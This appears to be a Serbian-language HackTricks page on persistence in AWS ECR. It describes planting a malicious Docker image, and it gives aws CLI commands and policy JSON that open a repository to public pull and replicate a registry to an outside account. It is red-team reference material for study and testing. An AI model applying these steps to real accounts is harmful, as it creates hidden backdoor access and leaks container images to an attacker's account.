AWS - ECR Persistence

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

ECR

Za više informacija pogledajte:

AWS - ECR Enum

Skrivena Docker slika sa zlonamernim kodom

Napadač bi mogao da otpremi Docker sliku koja sadrži zlonamerni kod u ECR repozitorijum i koristiti je za održavanje upornosti u ciljnom AWS nalogu. Napadač bi zatim mogao da implementira zlonamernu sliku na različite servise unutar naloga, kao što su Amazon ECS ili EKS, na prikriven način.

Politika repozitorijuma

Dodajte politiku jednom repozitorijumu koja vam dodeljuje (ili svima) pristup repozitorijumu:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Imajte na umu da ECR zahteva da korisnici imaju dozvole da pozivaju ecr:GetAuthorizationToken API putem IAM politike pre nego što mogu da se autentifikuju na registar i da puste ili povuku bilo koje slike iz bilo kog Amazon ECR repozitorijuma.

Politika Registra & Repliciranje između naloga

Moguće je automatski replicirati registar u spoljnom nalogu konfigurišući repliciranje između naloga, gde morate navesti spoljni nalog na koji želite da replicirate registar.

Prvo, treba da omogućite spoljnom nalogu pristup registru putem polike registra kao što je:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Zatim primenite konfiguraciju replikacije:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated